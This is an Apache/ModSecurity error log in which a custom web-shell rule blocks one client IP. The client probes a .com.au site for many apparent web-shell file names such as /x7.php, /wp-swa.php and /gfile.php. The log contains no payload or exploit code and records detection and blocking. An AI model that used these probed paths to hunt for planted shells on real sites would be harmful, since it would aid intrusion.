[Mon Nov 17 05:09:04.775766 2025] [:error] [pid 39451:tid 39526] [client 48.218.71.119:6889] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x7.php"] [unique_id "aRo9cOfgkqXTS0SO3fBhmgAAAJI"]
[Mon Nov 17 05:09:05.165483 2025] [:error] [pid 39451:tid 39531] [client 48.218.71.119:6864] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x7.php"] [unique_id "aRo9cefgkqXTS0SO3fBhmwAAAJc"]
[Mon Nov 17 05:09:06.049381 2025] [:error] [pid 40548:tid 40563] [client 48.218.71.119:6885] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x7.php"] [unique_id "aRo9cgM_PykfYnxh-j-itAAAAQ0"]
[Mon Nov 17 05:09:06.728094 2025] [:error] [pid 40548:tid 40556] [client 48.218.71.119:6873] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/x7.php"] [unique_id "aRo9cgM_PykfYnxh-j-itgAAAQY"]
[Mon Nov 17 05:09:07.263919 2025] [:error] [pid 39449:tid 39462] [client 48.218.71.119:6892] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zex.php"] [unique_id "aRo9c6UCymTA3MDfzLOEBgAAAAg"]
[Mon Nov 17 05:09:07.683611 2025] [:error] [pid 39449:tid 39456] [client 48.218.71.119:6836] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zex.php"] [unique_id "aRo9c6UCymTA3MDfzLOEBwAAAAI"]
[Mon Nov 17 05:09:08.073140 2025] [:error] [pid 40548:tid 40574] [client 48.218.71.119:6814] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zex.php"] [unique_id "aRo9dAM_PykfYnxh-j-iuQAAARg"]
[Mon Nov 17 05:09:08.724327 2025] [:error] [pid 40548:tid 40560] [client 48.218.71.119:6898] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zex.php"] [unique_id "aRo9dAM_PykfYnxh-j-ivAAAAQo"]
[Mon Nov 17 05:09:09.916749 2025] [:error] [pid 39449:tid 39474] [client 48.218.71.119:6901] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aRo9daUCymTA3MDfzLOECgAAABQ"]
[Mon Nov 17 05:09:10.250796 2025] [:error] [pid 39450:tid 39485] [client 48.218.71.119:6915] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aRo9duoZqPB4_7vNEDSL2gAAAEQ"]
[Mon Nov 17 05:09:10.864021 2025] [:error] [pid 39451:tid 39527] [client 48.218.71.119:6840] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aRo9dufgkqXTS0SO3fBhoQAAAJM"]
[Mon Nov 17 05:09:12.143701 2025] [:error] [pid 39449:tid 39472] [client 48.218.71.119:6848] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/zxin.php"] [unique_id "aRo9eKUCymTA3MDfzLOEDgAAABI"]
[Mon Nov 17 05:09:13.139974 2025] [:error] [pid 40548:tid 40561] [client 48.218.71.119:6917] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aRo9eQM_PykfYnxh-j-iwgAAAQs"]
[Mon Nov 17 05:09:13.703455 2025] [:error] [pid 39449:tid 39473] [client 48.218.71.119:6902] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aRo9eaUCymTA3MDfzLOEEgAAABM"]
[Mon Nov 17 05:09:14.298156 2025] [:error] [pid 39450:tid 39483] [client 48.218.71.119:6806] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aRo9euoZqPB4_7vNEDSL3gAAAEI"]
[Mon Nov 17 05:09:14.963063 2025] [:error] [pid 40548:tid 40564] [client 48.218.71.119:6860] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/asd67.php"] [unique_id "aRo9egM_PykfYnxh-j-iwwAAAQ4"]
[Mon Nov 17 05:09:15.711361 2025] [:error] [pid 39451:tid 39522] [client 48.218.71.119:7123] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/st.php"] [unique_id "aRo9e-fgkqXTS0SO3fBhpgAAAI4"]
[Mon Nov 17 05:09:16.657983 2025] [:error] [pid 39451:tid 39511] [client 48.218.71.119:7034] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/st.php"] [unique_id "aRo9fOfgkqXTS0SO3fBhqAAAAIM"]
[Mon Nov 17 05:09:17.959292 2025] [:error] [pid 40548:tid 40560] [client 48.218.71.119:7004] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/st.php"] [unique_id "aRo9fQM_PykfYnxh-j-ixQAAAQo"]
[Mon Nov 17 05:09:18.631094 2025] [:error] [pid 39450:tid 39499] [client 48.218.71.119:6795] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/st.php"] [unique_id "aRo9fuoZqPB4_7vNEDSL5gAAAFI"]
[Mon Nov 17 05:09:24.154416 2025] [:error] [pid 39451:tid 39528] [client 48.218.71.119:6859] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ups.php"] [unique_id "aRo9hOfgkqXTS0SO3fBhtwAAAJQ"]
[Mon Nov 17 05:09:24.787721 2025] [:error] [pid 39537:tid 39555] [client 48.218.71.119:7035] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ups.php"] [unique_id "aRo9hIZRrh1pcrdcLB_NvgAAAM8"]
[Mon Nov 17 05:09:25.328637 2025] [:error] [pid 39451:tid 39525] [client 48.218.71.119:6830] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ups.php"] [unique_id "aRo9hefgkqXTS0SO3fBhuQAAAJE"]
[Mon Nov 17 05:09:25.670743 2025] [:error] [pid 39450:tid 39488] [client 48.218.71.119:7101] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ups.php"] [unique_id "aRo9heoZqPB4_7vNEDSL6QAAAEc"]
[Mon Nov 17 05:09:26.295321 2025] [:error] [pid 39537:tid 39543] [client 48.218.71.119:6784] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bes.php"] [unique_id "aRo9hoZRrh1pcrdcLB_NvwAAAMM"]
[Mon Nov 17 05:09:27.004688 2025] [:error] [pid 39537:tid 39541] [client 48.218.71.119:6972] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bes.php"] [unique_id "aRo9h4ZRrh1pcrdcLB_NxAAAAME"]
[Mon Nov 17 05:09:28.122350 2025] [:error] [pid 39537:tid 39558] [client 48.218.71.119:6936] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bes.php"] [unique_id "aRo9iIZRrh1pcrdcLB_NzAAAANI"]
[Mon Nov 17 05:09:29.074472 2025] [:error] [pid 40548:tid 40563] [client 48.218.71.119:6961] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/bes.php"] [unique_id "aRo9iQM_PykfYnxh-j-i3wAAAQ0"]
[Mon Nov 17 05:09:30.503693 2025] [:error] [pid 39450:tid 39484] [client 48.218.71.119:6852] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-swa.php"] [unique_id "aRo9iuoZqPB4_7vNEDSL9gAAAEM"]
[Mon Nov 17 05:09:31.487407 2025] [:error] [pid 39450:tid 39486] [client 48.218.71.119:6896] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-swa.php"] [unique_id "aRo9i-oZqPB4_7vNEDSL-AAAAEU"]
[Mon Nov 17 05:09:32.274529 2025] [:error] [pid 39451:tid 39517] [client 48.218.71.119:6744] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-swa.php"] [unique_id "aRo9jOfgkqXTS0SO3fBhvQAAAIk"]
[Mon Nov 17 05:09:33.293178 2025] [:error] [pid 39450:tid 39488] [client 48.218.71.119:6857] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-swa.php"] [unique_id "aRo9jeoZqPB4_7vNEDSL-wAAAEc"]
[Mon Nov 17 05:09:34.106889 2025] [:error] [pid 39450:tid 39495] [client 48.218.71.119:6868] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/42u.php"] [unique_id "aRo9juoZqPB4_7vNEDSL_QAAAE4"]
[Mon Nov 17 05:09:34.744249 2025] [:error] [pid 39537:tid 39560] [client 48.218.71.119:6941] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/42u.php"] [unique_id "aRo9joZRrh1pcrdcLB_N7wAAANQ"]
[Mon Nov 17 05:09:35.379686 2025] [:error] [pid 39451:tid 39514] [client 48.218.71.119:6796] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/42u.php"] [unique_id "aRo9j-fgkqXTS0SO3fBhwQAAAIY"]
[Mon Nov 17 05:09:35.930917 2025] [:error] [pid 39449:tid 39471] [client 48.218.71.119:6907] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/42u.php"] [unique_id "aRo9j6UCymTA3MDfzLOEcQAAABE"]
[Mon Nov 17 05:09:36.874653 2025] [:error] [pid 40548:tid 40552] [client 48.218.71.119:6853] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aRo9kAM_PykfYnxh-j-i5AAAAQI"]
[Mon Nov 17 05:09:37.718638 2025] [:error] [pid 39451:tid 39531] [client 48.218.71.119:6926] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aRo9kefgkqXTS0SO3fBhwwAAAJc"]
[Mon Nov 17 05:09:38.147595 2025] [:error] [pid 40548:tid 40554] [client 48.218.71.119:6965] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aRo9kgM_PykfYnxh-j-i5gAAAQQ"]
[Mon Nov 17 05:09:38.587815 2025] [:error] [pid 40548:tid 40551] [client 48.218.71.119:6821] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/lc.php"] [unique_id "aRo9kgM_PykfYnxh-j-i5wAAAQE"]
[Mon Nov 17 05:09:39.237604 2025] [:error] [pid 39537:tid 39541] [client 48.218.71.119:6867] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aRo9k4ZRrh1pcrdcLB_N-AAAAME"]
[Mon Nov 17 05:09:39.566643 2025] [:error] [pid 39451:tid 39515] [client 48.218.71.119:6959] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aRo9k-fgkqXTS0SO3fBhxgAAAIc"]
[Mon Nov 17 05:09:40.086727 2025] [:error] [pid 39537:tid 39558] [client 48.218.71.119:6887] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aRo9lIZRrh1pcrdcLB_N_gAAANI"]
[Mon Nov 17 05:09:40.837580 2025] [:error] [pid 39537:tid 39564] [client 48.218.71.119:6886] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gmo.php"] [unique_id "aRo9lIZRrh1pcrdcLB_OBQAAANg"]
[Mon Nov 17 05:09:41.740168 2025] [:error] [pid 39449:tid 39474] [client 48.218.71.119:6869] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CLA.php"] [unique_id "aRo9laUCymTA3MDfzLOEgAAAABQ"]
[Mon Nov 17 05:09:42.281496 2025] [:error] [pid 39449:tid 39471] [client 48.218.71.119:6948] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CLA.php"] [unique_id "aRo9lqUCymTA3MDfzLOEgQAAABE"]
[Mon Nov 17 05:09:42.767065 2025] [:error] [pid 40548:tid 40555] [client 48.218.71.119:6800] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CLA.php"] [unique_id "aRo9lgM_PykfYnxh-j-i8AAAAQU"]
[Mon Nov 17 05:09:43.269112 2025] [:error] [pid 39537:tid 39556] [client 48.218.71.119:6818] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/CLA.php"] [unique_id "aRo9l4ZRrh1pcrdcLB_OEAAAANA"]
[Mon Nov 17 05:09:43.635427 2025] [:error] [pid 40548:tid 40571] [client 48.218.71.119:6820] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gfile.php"] [unique_id "aRo9lwM_PykfYnxh-j-i8gAAARU"]
[Mon Nov 17 05:09:44.307438 2025] [:error] [pid 39537:tid 39549] [client 48.218.71.119:6737] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gfile.php"] [unique_id "aRo9mIZRrh1pcrdcLB_OGgAAAMk"]
[Mon Nov 17 05:09:44.901908 2025] [:error] [pid 39450:tid 39501] [client 48.218.71.119:6815] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gfile.php"] [unique_id "aRo9mOoZqPB4_7vNEDSMAgAAAFQ"]
[Mon Nov 17 05:09:45.363507 2025] [:error] [pid 39449:tid 39468] [client 48.218.71.119:6816] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/gfile.php"] [unique_id "aRo9maUCymTA3MDfzLOEgwAAAA4"]
[Mon Nov 17 05:09:49.823410 2025] [:error] [pid 40548:tid 40558] [client 48.218.71.119:6909] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aRo9nQM_PykfYnxh-j-i-QAAAQg"]
[Mon Nov 17 05:09:50.132739 2025] [:error] [pid 39451:tid 39527] [client 48.218.71.119:6884] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aRo9nufgkqXTS0SO3fBhyAAAAJM"]
[Mon Nov 17 05:09:50.953011 2025] [:error] [pid 39450:tid 39488] [client 48.218.71.119:6883] [client 48.218.71.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ahax.php"] [unique_id "aRo9nuoZqPB4_7vNEDSMBgAAAEc"]
